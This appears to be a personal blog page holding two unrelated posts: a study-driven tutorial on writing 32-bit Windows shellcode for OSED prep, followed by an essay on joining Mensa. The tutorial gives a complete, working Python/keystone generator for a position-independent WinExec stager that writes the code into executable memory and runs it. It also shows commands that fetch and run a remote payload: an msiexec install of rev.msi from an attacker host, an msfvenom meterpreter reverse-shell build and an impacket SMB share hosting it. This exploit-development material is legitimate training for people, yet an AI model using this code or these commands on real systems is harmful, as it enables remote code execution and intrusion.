Come on! It’ll be painfully fun! 🥲

[!NOTE]
I will heavily rely¹ on the shellcoder.py script by epi052².

[!WARNING] heads up!
At the time of writing, I’m a 1337 when it comes to binary exploitation. The thing is, I’m prepping for the OSED cert, and this article is a way of holding myself accountable to actually understand the concepts. This is the Feynman technique of studying: trying to teach somebody else³.

Enough yapping. Let’s dive in! 🤿

the plan

At a high-level overview, our payload will do the following:

1. locate kernel32.dll via the PEB.
2. resolve functions like WinExec() or TerminateProcess() by hash.
3. build the command string like "msiexec /i http://IP:PORT/rev.msi /qn" on the stack.
4. call WinExec() with that command.
5. exit the current process gracefully with TerminateProcess().

Let’s go into detail, step by step.

step 0: reserve stack space

Housekeeping time. Before we can do anything, we need a fixed reference point on the stack and some free room to work with.

start:
    mov ebp, esp                 ; drop a bookmark
    add esp, 0xfffff9f0          ; make ~1.5KB of room

Explanation:

• mov ebp, esp. Saving esp to ebp. Why? esp points to the top of the stack, *but* it changes every time we push or call stuff. So we save it in ebp and never touch it. Every function address or piece of data we want to keep will get stored at a fixed offset below it (like [ebp-0x10]), so we can always find our goodies. And since we’re about to shove esp way down, those negative offsets land in memory we’ve reserved for ourselves.

• add esp, 0xfffff9f0. Wait, *adding*? Yep: to the cpu, adding 0xfffff9f0 is the same as subtracting 0x610. So esp slides down ~1.5KB. Two wins: everything between the new esp and ebp becomes a scratch pad. That’s where our [ebp-0x...] bookmarks will live.

But:

“Why not just sub esp, 0x610?”

Because that compiles to bytes ending in 00 00. Our shellcode rides inside a null-terminated string, so a single 00 byte acts like a full stop: everything after it gets chopped off and the payload dies.

You can always double-check using msf-nasm_shell from the metasploit framework:

step 1: psst, psst, kernel32 where are you?

We want to find where the kernel32.dll library is dynamically loaded in memory. It is always loaded, and it has interesting functions like WinExec or LoadLibrary. Later, we can use LoadLibrary to dynamically load new dlls and thus, more functions. Opens a myriad of possibilities, hellyeah! 😈

Why *dynamically*, tho? You could try to hardcode its address, *but* it depends on the specific Windows version and patches. We do like determinism. Let’s play it safe.

Every win32 thread has a thing called the TEB (Thread Environment Block), reachable via the fs segment register.

At fs:[0x30] sits the PEB (Process Environment Block), which contains the list of loaded dlls.

So:

fs:[0x30]  ->  PEB
PEB + 0x0C ->  Ldr (loader data)
Ldr + 0x1C ->  InInitOrderModuleList  (chain of loaded dlls)
each node:  +0x08 = base address, +0x20 = name (UTF‑16), +0x00 = "next" pointer

The asm below walks the module chain until it finds one whose name is exactly 12 characters (spoiler: it’ll be our beloved kernel32.dll):

find_kernel32:
    xor ecx,ecx                     ; ecx = 0
    mov esi,fs:[ecx+0x30]           ; esi = &(PEB) ([FS:0x30])
    mov esi,[esi+0x0C]              ; esi = PEB->Ldr
    mov esi,[esi+0x1C]              ; esi = PEB->Ldr.InInitOrder
next_module:
    mov ebx, [esi+0x8]              ; ebx = InInitOrder[X].base_address
    mov edi, [esi+0x20]             ; edi = InInitOrder[X].module_name
    mov esi, [esi]                  ; esi = InInitOrder[X].flink (next)
    cmp [edi+12*2], cx              ; (unicode) modulename[12] == 0x00?
    jne next_module                 ; No? try next module.

Names are utf-16, so 12*2 = 24 bytes in is the 13th character. If it’s null, the name is exactly 12 characters. So this loop exits with ebx = kernel32 base address.

But:

“What if the first dll that has 12 chars is *not* kernel32.dll? You’re just checking the length… Plenty of dlls are 12 chars: advapi32.dll, comctl32.dll, wow64win.dll…“

Nice catch! This is a dirty trick that werks because if you execute early enough (before the loader pulls in the exe’s other dependencies), the module list is tiny and predictable. Thus, we’d catch kernel32 without a hassle.

step 2: winapi function hashing

We’ve located our dll, but now we need to call its functions. What happens if a certain dll isn’t loaded? We can use LoadLibrary(), since it lives in kernel32, and that’s always loaded.

Instead of hardcoding function names in the shellcode (which wastes bytes plus risks badchars), we’ll use a 4-byte fingerprint for each API. It’s based on the ror13() hashing algorithm. Cool, huh?

the ror13 algorithm

For each character of the function name, we apply ror13, which rotates the value right by 13 bits. Then we add the character, stopping at the null terminator.

I hear your head buzzing… 🫨 Stay with me!

Let’s illustrate it with a specific example:

A in hex is 0x00000041 (duh), in bits 00000000 00000000 00000000 01000001.

Now we have to rotate the bits right one by one, 13 times. Think of ror like Pac-Man: you move to the right, and if you run off the end, you wrap around to the left side.

So this is the process under the hood:

ror 0:  00000000 00000000 00000000 01000001   ← starting point
ror 1:  10000000 00000000 00000000 00100000   ← rightmost 1 falls off, reappears at far left
ror 2:  01000000 00000000 00000000 00010000
ror 3:  00100000 00000000 00000000 00001000
ror 4:  00010000 00000000 00000000 00000100
ror 5:  00001000 00000000 00000000 00000010
ror 6:  00000100 00000000 00000000 00000001   ← the other 1 reaches the edge
ror 7:  10000010 00000000 00000000 00000000   ← it falls off, wraps to the left
ror 8:  01000001 00000000 00000000 00000000
ror 9:  00100000 10000000 00000000 00000000
ror 10: 00010000 01000000 00000000 00000000
ror 11: 00001000 00100000 00000000 00000000
ror 12: 00000100 00010000 00000000 00000000
ror 13: 00000010 00001000 00000000 00000000   ← finish line

Cool, then 00000010 00001000 00000000 00000000 is the output of rotating those bits.

So, the final step to get The Ultimate ROR13 Hash is to convert it back to hex. In this case, ror13(0x00000041) is 0x02080000.

ror13 but in python

OK, now that we understand it in English, let’s review the python helpers defined by epi052:

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return int(binb, 2)

def push_function_hash(function_name):
    edx = 0x00
    ror_count = 0
    for eax in function_name:
        edx = edx + ord(eax)
        if ror_count < len(function_name)-1:
            edx = ror_str(edx, 0xd)      # rotate between chars, not after last
        ror_count += 1
    return f"push {hex(edx)}"

[!WARNING] important the last char is added but not rotated. The asm in step 3 does it in the opposite order, rotate first and add after, but lands on the exact same hash: rotating a zeroed accumulator is a no-op.

Let’s debug for LoadLibraryA:

edx = 0

edx += 'L' (0x4C)  -> 0x0000004C, ror13 -> 0x02600000
edx += 'o' (0x6F)  -> 0x0260006F, ror13 -> 0x03781300
edx += 'a' (0x61)  -> 0x03781361, ror13 -> 0x9B081BC0
edx += 'd' (0x64)  -> 0x9B081C24, ror13 -> 0xE124D840
edx += 'L' (0x4C)  -> 0xE124D88C, ror13 -> 0xC4670926
edx += 'i' (0x69)  -> 0xC467098F, ror13 -> 0x4C7E2338
edx += 'b' (0x62)  -> 0x4C7E239A, ror13 -> 0x1CD263F1
edx += 'r' (0x72)  -> 0x1CD26463, ror13 -> 0x2318E693
edx += 'a' (0x61)  -> 0x2318E6F4, ror13 -> 0x37A118C7
edx += 'r' (0x72)  -> 0x37A11939, ror13 -> 0xC9C9BD08
edx += 'y' (0x79)  -> 0xC9C9BD81, ror13 -> 0xEC0E4E4D
edx += 'A' (0x41)  -> 0xEC0E4E8E   <- last char: add only, no rotate

push 0xec0e4e8e

OK, I think you (we) get it now.

But:

“Could we then just precompute and hardcode the values of the functions we want to call, rather than calculating the hashes dynamically?”

Yep, you can. But it doesn’t hurt to understand what’s under the hood, right? Don’t be lazy.

step 3: walking the export table

A dll is basically a file full of common functions that programs find handy. But how does windows know what’s inside a dll? Well, there’s a table of contents inside every dll called the export table.

It’s like a phonebook that says “oi, the function called LoadLibraryA() starts at this memory address.”

That table contains three lists side by side:

PE header + 0x78  →  the RVA of the Export Directory is stored here (a pointer, not the table itself)
Export Directory:
 +0x18  NumberOfNames           ← how many functions have names
 +0x1C  AddressOfFunctions      ← list of addresses (where the code lives)
 +0x20  AddressOfNames          ← list of name pointers (where the names live)
 +0x24  AddressOfNameOrdinals   ← the glue between names and addresses

Think of it like this:

• AddressOfNames: the list of names ("LoadLibraryA", …)
• AddressOfNameOrdinals: says which slot in the function list each name corresponds to
• AddressOfFunctions: the actual phone numbers (the code addresses)

So our plan is to:

1. find the name
2. get its index (ordinal)
3. use the ordinal to look up the actual address.

It is important to clarify the following concepts too:

• RVA (Relative Virtual Address): how far from the start of the dll.
• VMA (Virtual Memory Address): the actual address in memory.

Thus, to convert: vma = dll_base_address + rva. That’s it.

saving our function address (aka the call/pop trick)

OK, now we know the theory. Let’s define a new function (aka the resolver) to get the VMA of the winapi functions we want.

First off, we need to know where our resolver function lives in memory, so we can reference it later when calling it.

We can do it this way:

find_function_shorten:
    jmp find_function_shorten_bnc   ; just to skip ahead
find_function_ret:
    pop esi                         ; grab that address off the stack into esi
    mov [ebp-0x08], esi             ; save it for later in [ebp-0x08]
    jmp resolve_symbols             ; skip the function and go to the rest of the code
find_function_shorten_bnc:
    call find_function_ret          ; the `call` instruction does something sneaky: 
                                    ; it pushes the address of the next instruction onto the stack
    ...                             ; (find_function starts right here)

Boom! Now we know where our own code lives, without hardcoding anything. This is cool because our shellcode could be loaded anywhere in memory.

the resolver function

With that out of the way, let’s review the actual find_function code step by step (finally!).

find_function:
    pushad                          ; save ALL the registers
    mov eax, [ebx+0x3c]             ; Offset to PE Signature
    mov edi, [ebx+eax+0x78]         ; Export Table Directory RVA
    add edi, ebx                    ; Export Table Directory VMA
    mov ecx, [edi+0x18]             ; NumberOfNames
    mov eax, [edi+0x20]             ; AddressOfNames RVA
    add eax, ebx                    ; AddressOfNames VMA
    mov [ebp-4], eax                ; save it for later

pushad is a handy instruction that dumps everything (eax, ecx, edx, ebx, esp, ebp, esi, edi) onto the stack in one shot. We like it because our function trashes basically every register along the way.

[ebx+0x3c] is the e_lfanew field: how far into the file the PE header starts. So ebx+eax is the PE header, +0x78 lands on the export directory RVA, and then the usual dance; add ebx, get the VMA. edi now points straight at the phonebook. ecx is our counter, and [ebp-4] is a free scratch slot under our stack frame where we park the names list.

the loop

find_function_loop:                   
    jecxz find_function_finished    ; Jump to the end if ECX is 0
    dec ecx                         ; Decrement our names counter
    mov eax, [ebp-4]                ; Restore AddressOfNames VMA
    mov esi, [eax+ecx*4]            ; Get the RVA of the symbol name
    add esi, ebx                    ; Set ESI to the VMA of the current
compute_hash:                         
    xor eax, eax                    ; NULL EAX
    cdq                             ; NULL EDX
    cld                             ; Clear direction

We walk it backwards; ecx*4 because every entry is a 4-byte pointer. jecxz is just “jump if ecx is zero”, our exit if we run out of names without a match.

That mov eax, [ebp-4] reload is not decoration. The hash routine below trashes eax (lodsb writes into al, and add edx, eax reads the whole 32-bit register), so without reloading the pointer on every iteration, the second trip around the loop would dereference garbage and faceplant. That’s exactly why we parked AddressOfNames in [ebp-4] before the loop.

hashing the name

Now we calc the famous ror13 hash like before, but in asm this time:

compute_hash_again:
    lodsb                           ; read next byte into AL (esi bumps itself)
    test al, al                     ; NULL terminator?
    jz compute_hash_finished
    ror edx, 0x0d                   ; rotate hash 13 bits right
    add edx, eax                    ; mix in the byte
    jmp compute_hash_again

Rotate, add, repeat until the string ends. Every name boiled down to 4 bytes.

comparing

    cmp edx, [esp+0x24]             ; our hash vs the requested one
    jnz find_function_loop          ; no match? next name

Wait, [esp+0x24]? Where’s that? Look at the stack after call + pushad:

esp+0x00  edi, esi, ebp, esp, ebx, edx, ecx, eax   ← the pushad block (32 bytes)
esp+0x20  return address
esp+0x24  ← the hash we pushed before calling

The hash the caller pushed is still sitting up there, above everything. No arguments, no nothing; we just do the math and grab it. Dark magic.

the actual lookup

On a match, the 3-step plan from earlier happens:

    mov edx, [edi+0x24]             ; AddressOfNameOrdinals
    add edx, ebx
    mov cx, [edx+2*ecx]             ; ordinal (each is 2 bytes, so ×2)
    mov edx, [edi+0x1c]             ; AddressOfFunctions
    add edx, ebx
    mov eax, [edx+4*ecx]            ; function RVA (each is 4 bytes, so ×4)
    add eax, ebx                    ; function VMA. gotcha.

Name → ordinal → real address. (Sneaky detail: mov cx only loads 16 bits, but that’s fine; the upper half of ecx is already zero since the index is small, so ecx ends up being exactly the ordinal.)

the exit trick

And the last part is my personal favorite:

    mov [esp+0x1c], eax             ; overwrite the SAVED eax in the snapshot
find_function_finished:
    popad                           ; restore everything...
    ret

Check the layout again. esp+0x1c is the eax that pushad saved. We literally hack our result into the stack snapshot before restoring it. Then popad pulls everything back; and eax comes out carrying the function address, all other registers untouched, like nothing ever happened. The result gets smuggled out through the stack. Beautiful.

Next step: learning how to call our new function.

step 4: resolving symbols

Now we resolve the functions we actually want, using the resolver plus the ror13 technique from step 2:

resolve_symbols:
    push 0x0E8AFE98                 ; ror13 hash of "WinExec"
    call dword ptr [ebp - 0x08]     ; find_function
    mov  [ebp - 0x10], eax          ; save WinExec

Then we save each pointer at a different offset from ebp for future reference. All negative offsets: that’s the ~1.5KB of room we reserved in step 0 doing its job.

step 5: stacking strings like lego blocks

In our payload we want to pass string arguments to the functions. To achieve this, you don’t want to embed string literals directly, but build them on the stack using push.

Why? Because our shellcode can’t just do .ascii "cmd": there is no data section when you’re smuggled through a strcpy() or similar.

The classic trick is to push the string onto the stack, then esp points at it.

First, some fisher-price context for you:

• stack grows down: push the tail of the string first.
• x86 is little‑endian: flip byte order inside each 4‑byte chunk.

So if we want to push the string cmd, we could just do this, right?

mov eax, 0x00646d63   ; since in hex: null, d=64, m=6d and c=63
push eax

WRONG. 😵 Because if we assemble that into bytes, we get a null char. And null chars are almost always badchars.

How can we overcome this? By combining eax with its little brothers, the ax and al registers.

eax is a 32-bit register (4 bytes). It’s sliced like this:

eax = [  byte3  |  byte2  |    ax    ]
                          [ ah  | al ]

As you can see, ax is the lowest 2 bytes of eax (ah is the high byte of ax, al is the low byte).

The hack is to write to al or ax since it only touches the bottom of eax. Then, the upper bytes keep whatever garbage was already there! We avoid the full 4-byte mov that would force null padding.

[!WARNING] Since the upper bytes are garbage, you must zero eax first (xor eax, eax) or your string on the stack won’t be null-terminated and will have junk in it.

Let’s review the cmd example with this strategy. After all the pushes, memory starting at esp must read 63 6d 64 (“cmd”)⁴.

xor eax, eax        ; zero eax first: remember the warning above!
mov al, 0x64        ; bottom byte of eax = 'd'
push eax            ; 'd' + three null bytes (terminator included)
mov ax, 0x6d63      ; bottom two bytes = `63 6d` = "cm"
push ax             ; pushed at a lower address

Final layout:

esp   →  63 6d   ("cm")   ← pushed last
esp+2 →  64      ("d")    ← pushed first
esp+3 →  00 00 00         ← null terminator, for free

Yay! We did it! 🎉 Now, let’s review how to do this dynamically.

pushing strings in python

Again, this epi052 helper converts a string to a sequence of push instructions:

def push_string(input_string):
    rev_hex_payload = str(to_hex(input_string))   # "cmd" -> "636d64"
    rev_hex_payload_len = len(rev_hex_payload)

    instructions = []
    first_instructions = []
    for i in range(rev_hex_payload_len, 0, -1):
        if ((i != 0) and ((i % 8) == 0)):
            target_bytes = rev_hex_payload[i-8:i]
            instructions.append(f"push dword 0x{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};")
        elif ((0 == i-1) and ((i % 8) != 0) and (rev_hex_payload_len % 8) != 0):
            if (rev_hex_payload_len % 8 == 2):
                first_instructions.append(f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]};")
                first_instructions.append("push eax;")
            elif (rev_hex_payload_len % 8 == 4):
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push eax;")
            else:
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov al, 0x{target_bytes[4:6]};")
                first_instructions.append("push eax;")
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push ax;")
    instructions = first_instructions + instructions
    return "".join(instructions)

OK, see the examples below to verify you (me) finally get it:

step 6: clean exit

After WinExec() returns, we exit the current thread gracefully:

exec_shellcode:
    xor ecx, ecx                    ; null ECX
    push ecx                        ; uExitCode
    push 0xffffffff                 ; hProcess
    call dword ptr [ebp - 0x10]     ; Call TerminateProcess

final code

What a journey! This is our final script, using keystone to glue it all together:

#!/usr/bin/python3
import argparse
import ctypes
import struct
import numpy
import keystone as ks

def to_hex(s):
    retval = list()
    for char in s:
        retval.append(hex(ord(char)).replace("0x", ""))
    return "".join(retval)

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return int(binb, 2)

def push_function_hash(function_name):
    edx = 0x00
    ror_count = 0
    for eax in function_name:
        edx = edx + ord(eax)
        if ror_count < len(function_name) - 1:
            edx = ror_str(edx, 0xD)
        ror_count += 1
    return "push " + hex(edx)

def push_string(input_string):
    rev_hex_payload = str(to_hex(input_string))
    rev_hex_payload_len = len(rev_hex_payload)

    instructions = []
    first_instructions = []
    null_terminated = False

    for i in range(rev_hex_payload_len, 0, -1):
        if (i != 0) and ((i % 8) == 0):
            target_bytes = rev_hex_payload[i - 8:i]
            instructions.append(
                f"push dword 0x"
                f"{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};"
            )
        elif (0 == i - 1) and ((i % 8) != 0) and (rev_hex_payload_len % 8) != 0:
            if rev_hex_payload_len % 8 == 2:
                first_instructions.append(
                    f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len % 8)):]};"
                )
                first_instructions.append("push eax;")
            elif rev_hex_payload_len % 8 == 4:
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len % 8)):]
                first_instructions.append(
                    f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};"
                )
                first_instructions.append("push eax;")
            else:
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len % 8)):]
                first_instructions.append(f"mov al, 0x{target_bytes[4:6]};")
                first_instructions.append("push eax;")
                first_instructions.append(
                    f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};"
                )
                first_instructions.append("push ax;")
            null_terminated = True

    instructions = first_instructions + instructions
    return "".join(instructions)

def exec_cmd(command, breakpoint=0):
    """
    Builds a WinExec-based shellcode stub.

    command: command line string to pass to WinExec
    breakpoint: if 1, inserts int3 at start
    """
    push_instr_winexec_hash = push_function_hash("WinExec")
    push_instr_command = push_string(command)
    push_instr_terminate_hash = push_function_hash("TerminateProcess")

    asm = [
        "   start:                               ",
        f"{['', 'int3;'][breakpoint]}            ",
        "       mov ebp, esp                     ;",
        "       add esp, 0xfffff9f0              ;",  # avoid NULL bytes
        "   find_kernel32:                       ",
        "       xor ecx, ecx                     ;",  # ECX = 0
        "       mov esi, fs:[ecx + 0x30]         ;",  # ESI = PEB ([FS:0x30])
        "       mov esi, [esi + 0x0C]            ;",  # ESI = PEB->Ldr
        "       mov esi, [esi + 0x1C]            ;",  # ESI = PEB->Ldr.InInitOrder
        "   next_module:                         ",
        "       mov ebx, [esi + 0x08]            ;",  # EBX = InInitOrder[X].base
        "       mov edi, [esi + 0x20]            ;",  # EDI = InInitOrder[X].name
        "       mov esi, [esi]                   ;",  # ESI = next entry
        "       cmp word ptr [edi + 12*2], cx    ;",  # name[12] == 0x0000? (kernel32.dll)
        "       jne next_module                  ;",  # no: try next module
        "   find_function_shorten:               ",
        "       jmp find_function_shorten_bnc    ;",  # short jump
        "   find_function_ret:                   ",
        "       pop esi                          ;",  # pop the pushed return address
        "       mov [ebp - 0x08], esi            ;",  # save find_function for later
        "       jmp resolve_symbols              ;",
        "   find_function_shorten_bnc:           ",
        "       call find_function_ret           ;",  # pushes address of next instruction
        "   find_function:                       ",
        "       pushad                           ;",  # save all registers (ebx = kernel32 base)
        "       mov eax, [ebx + 0x3C]            ;",  # offset to PE signature
        "       mov edi, [ebx + eax + 0x78]      ;",  # Export Table Directory RVA
        "       add edi, ebx                     ;",  # Export Table Directory VMA
        "       mov ecx, [edi + 0x18]            ;",  # NumberOfNames
        "       mov eax, [edi + 0x20]            ;",  # AddressOfNames RVA
        "       add eax, ebx                     ;",  # AddressOfNames VMA
        "       mov [ebp - 4], eax               ;",  # save it for later
        "   find_function_loop:                  ",
        "       jecxz find_function_finished     ;",  # jump to the end if ECX is 0
        "       dec ecx                          ;",  # decrement our names counter
        "       mov eax, [ebp - 4]               ;",  # reload: eax is trashed below
        "       mov esi, [eax + ecx*4]           ;",  # RVA of the ecx-th name
        "       add esi, ebx                     ;",  # VMA of the name
        "   compute_hash:                        ",
        "       xor eax, eax                     ;",  # NULL EAX
        "       cdq                              ;",  # NULL EDX
        "       cld                              ;",  # clear direction
        "   compute_hash_again:                  ",
        "       lodsb                            ;",  # load next byte from esi into al
        "       test al, al                      ;",  # check for NULL terminator
        "       jz compute_hash_finished         ;",
        "       ror edx, 0x0D                    ;",  # rotate edx 13 bits right
        "       add edx, eax                     ;",  # add the byte to the accumulator
        "       jmp compute_hash_again           ;",
        "   compute_hash_finished:               ",
        "   find_function_compare:               ",
        "       cmp edx, [esp + 0x24]            ;",  # computed hash vs requested hash
        "       jnz find_function_loop           ;",  # no match: next name
        "       mov edx, [edi + 0x24]            ;",  # AddressOfNameOrdinals RVA
        "       add edx, ebx                     ;",  # AddressOfNameOrdinals VMA
        "       mov cx, [edx + 2*ecx]            ;",  # the function's ordinal
        "       mov edx, [edi + 0x1C]            ;",  # AddressOfFunctions RVA
        "       add edx, ebx                     ;",  # AddressOfFunctions VMA
        "       mov eax, [edx + 4*ecx]           ;",  # function RVA
        "       add eax, ebx                     ;",  # function VMA
        "       mov [esp + 0x1C], eax            ;",  # overwrite saved eax from pushad
        "   find_function_finished:              ",
        "       popad                            ;",  # restore registers
        "       ret                              ;",
        "   resolve_symbols:                     ",
        push_instr_winexec_hash,                    # kernel32!WinExec
        "       call dword ptr [ebp - 0x08]      ;",  # find_function
        "       mov [ebp - 0x0C], eax            ;",  # save WinExec
        push_instr_terminate_hash,                 # kernel32!TerminateProcess
        "       call dword ptr [ebp - 0x08]      ;",  # find_function (ebx still = kernel32)
        "       mov [ebp - 0x10], eax            ;",  # save TerminateProcess
        "   call_winexec:                        ",
        "       xor eax, eax                     ;",
        "       push eax                         ;",  # null terminator
        push_instr_command,
        "       mov eax, esp                     ;",  # lpCmdLine
        "       push 5                           ;",  # uCmdShow (2nd arg pushed first)
        "       push eax                         ;",  # lpCmdLine (1st arg pushed last)
        "       call dword ptr [ebp - 0x0C]      ;",  # WinExec(lpCmdLine, uCmdShow)
        "   exec_shellcode:                      ",
        "       xor ecx, ecx                     ;",
        "       push ecx                         ;",  # uExitCode = 0 (push 0 would embed a null!)
        "       push 0xffffffff                  ;",  # hProcess = -1 (current process)
        "       call dword ptr [ebp - 0x10]      ;",  # TerminateProcess(-1, 0)
    ]

    return "\n".join(asm)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Generate WinExec shellcode stub.")
    parser.add_argument(
        "--command",
        default="calc.exe",
        help="Command line to execute via WinExec",
    )
    parser.add_argument(
        "--breakpoint",
        type=int,
        default=0,
        help="Insert int3 breakpoint at start (0/1)",
    )
    parser.add_argument(
        "--asm-only",
        action="store_true",
        help="Print assembly only, do not assemble",
    )
    parser.add_argument(
        "--test-shellcode",
        action="store_true",
        help="Assemble and execute the shellcode (Windows only)",
    )
    args = parser.parse_args()

    asm_code = exec_cmd(args.command, args.breakpoint)

    if args.asm_only:
        print(asm_code)
    else:
        engine = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32)
        encoding, count = engine.asm(asm_code)
        shellcode = bytes(encoding)
        print("Shellcode length:", len(shellcode))
        print("Shellcode hex:", shellcode.hex())

        if args.test_shellcode:
            print(f"\n[+] Debugging shellcode ...")
            sh = b""
            for e in encoding:
                sh += struct.pack("B", e)

            packed_shellcode = bytearray(sh)
            ptr = ctypes.windll.kernel32.VirtualAlloc(
                ctypes.c_int(0),
                ctypes.c_int(len(packed_shellcode)),
                ctypes.c_int(0x3000),
                ctypes.c_int(0x40),
            )
            buf = (ctypes.c_char * len(packed_shellcode)).from_buffer(packed_shellcode)
            ctypes.windll.kernel32.RtlMoveMemory(
                ctypes.c_int(ptr), buf, ctypes.c_int(len(packed_shellcode))
            )
            print("[=]   Shellcode located at address %s" % hex(ptr))
            input("...ENTER TO EXECUTE SHELLCODE...")
            ht = ctypes.windll.kernel32.CreateThread(
                ctypes.c_int(0),
                ctypes.c_int(0),
                ctypes.c_int(ptr),
                ctypes.c_int(0),
                ctypes.c_int(0),
                ctypes.pointer(ctypes.c_int(0)),
            )
            ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

step 7: test it

As you may have noticed, I included the option to debug it directly from our win10 vm, via VirtualAlloc() and friends⁵.

We could just run calc.exe, but that would be boring. So let’s use it as a stager.

1. create a meterpreter revshell for x86:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f exe -a x86 -o rev.exe
   

2. setup a meterpreter listener.
3. host the revshell via SMB like:

    sudo impacket-smbserver met /home/kali/shared -smb2support
   

4. use our script in debug mode to run the custom shellcode to trigger it from a shared folder, like this:

OMG! It’s alive! 🧟‍♂️

bottom line

That’s pretty much it. We built a full position-independent stager from scratch. In some contexts, knowing what’s under the hood is helpful, because your friend msfvenom won’t work in every situation. Running shellcode vs. understanding it can make the difference.

What if you want a full revshell custom shellcode, not a stager? Well, you’d reach for WSAConnect(), CreateProcessA(), and friends. My priority in this article was to explore how to do the basic stuff. With this baseline, you can adapt it to other contexts⁶: you now know how to load dlls, find functions, load their addresses, push args, call them dynamically, etc.

Now go forth and pop those shells. And if you’re also on the OSED journey, see you on the other side. 🐚

Turns out I’m honored (and slightly amused) to share¹ that I recently joined Mensa. *play doom_eternal_theme.mp3 💀

Here, I wanted to describe my experience and expectations, as well as some related personal background so you can roast me later if you want to.

mens-what?

Mensa is this organization for people with high IQs. To enter, you need to take an in-person test and score in the top 2% (98th percentile), which is two sigmas away from the mean.

It started in the 40s in the UK and in Spain around the 80s. Since then there have been tons of replications in different countries. Their mission can be summarized as:

1. identify and promote human intelligence for the benefit of humanity.
2. encourage research on the nature, characteristics, and uses of intelligence.
3. provide a stimulating intellectual and social environment for its members.

my background

Spoiler: I was not the typical gifted kid. At all.

Ever since I was a kid, I’ve loved making plans about everything. I’d want to repair a bicycle and would spend more time planning, making budgets and drawing sketches than actually doing it. I’m an only child, so I spent a lot of time by myself and could stay focused for hours in my own world².

I was also a terrible student. Not the kind who gets bored because the level is too low or the content isn’t challenging, I simply didn’t care about school. I never paid attention and failed an obscene number of subjects. Every year I ended up carrying a ton of subjects over to September, and then suddenly passed all of them³. TBH, I’m not proud of that phase of my life. It felt like I was wasting a lot of time and energy. It was also quite frustrating for my parents⁴.

Then my father taught me programming when I was 13. That clicked! I became obsessed⁵ with it, and I spent all day in underground forums taking part in performance contests to see who could implement the fastest algorithm in VB6.

After high school, I decided to first study an HNC in web development, with the plan of starting uni afterwards (perhaps software engineering). However, I got hired at my internship, so I decided to keep working and put the uni plans on hold.

Fast-forward some years, I did start studying at UNED, but for a BSc in philosophy (plot twist!). There I managed to get several honors while working full-time, plus doing some freelance collabs on the side. I was particularly fascinated by the analytical stream: logic, philosophy of science, etc. I was living in the UK at the time. That was an *intense* period of my life, but somehow I look back on it with nostalgia.

In order to prioritize my career, I put the degree on hold⁶. I hadn’t taken it up with a career focus, plus having kids and whatnot, for obvious reasons. However, I think it had an indirect positive impact on my career in terms of structured reasoning, writing, creativity, etc.

Then I pivoted from development to cybersec, then to offsec specifically, and my linkedin tells the rest of the story. Along the way I failed miserably (still do, but with style 😎) at tons of projects, but they somehow contributed to who I am today. For instance, years ago I built an algotrading setup that didn’t translate into anything useful, but it was a great excuse to learn statistics and probability, as well as how to design and implement high-frequency, data-intensive systems⁷.

To wrap up, I’ve never considered myself a particularly gifted individual. More like someone with decent processing power who’s willing to spend an unreasonable amount of energy on the stuff he enjoys.

why i tried

There were two main factors that motivated me to take the Mensa test.

First, my older son. He is currently ~4 years old, and I think he is showing early signs of giftedness: extraordinary memory, a complex sense of humor, musicality, the ability to focus for long periods of time, etc. But well, I’m his father, so I’m probably super-biased. I believe there are more parents of gifted kids than actual gifted kids, kek. At least it was enough to make me question it, since there is a decent heritability factor.

Second, I stumbled upon Javier Recuenco. He was a Mensa Spain ex-president. I discovered him thanks to Heavy Mental podcast, where he talks about a wide range of topics. I love his communication style because he is not the typical nerd, but actually exposes complex stuff in a very aproachable way (a la Feynman, but with more sideburns)⁸.

the access test

I took the Mensa online test, then the paid online version called T2, which is supposed to be more accurate. Since I got decent results in both, I decided to give the in-person test a try. They arranged a session at a public library. The very same day, they corrected the test and told me I got accepted! 🎉

Something to highlight is that the exams are culture fair. Mensa is not politically, sexually, or culturally biased. The exam aims to capture your raw fluency in identifying patterns across different contexts and forming abstractions that relate ideas. Due to time constraints, you essentially have only a few seconds to connect the dots and mark your answer. I confess it made me sweat.

motivations

I joined Mensa for the following reasons:

• networking: we are trained with the same dataset. And as soon as you get older, you’re somewhat limited in making new connections. Here the premise is quite interesting: you meet people you share something in common with (high IQ), but they can be virtually of any background, profession, etc. I find that very enriching.
• conferences and events: they organize recurring conferences that are quite interesting. Most of them are uploaded to YT. Low-key, I’d been reviewing them for a while before actually joining.
• SIGs (Special Interest Groups): a fancy term for forums that gather people with shared interests, but for some reason it sounds cooler here. They also organize meetups every now and then.
• SIGHT (Service for Information, Guidance, and Hospitality to Travellers): is a mensa hospitality network that links traveling members with local hosts who offer accommodation or travel recommendations.
• occasional discounts: I noticed there are some discounts for members, for instance on board games.
• bragging rights: I have a super fragile ego; this is a way of being able to sleep at night, kek.
• job opportunities: also, high IQ often correlates with better job performance. So a potential employer (not currently looking for a change, HR guys) would value that. There is also a specific job board handled by Mensa Spain, btw. This is controversial but I don’t care: I think the controversy is born from the misunderstanding that IQ is everything (more on that later).

iq is *not* everything

I’m not a big believer in IQ as the ultimate indicator of success, but it’s just another variable in the equation.

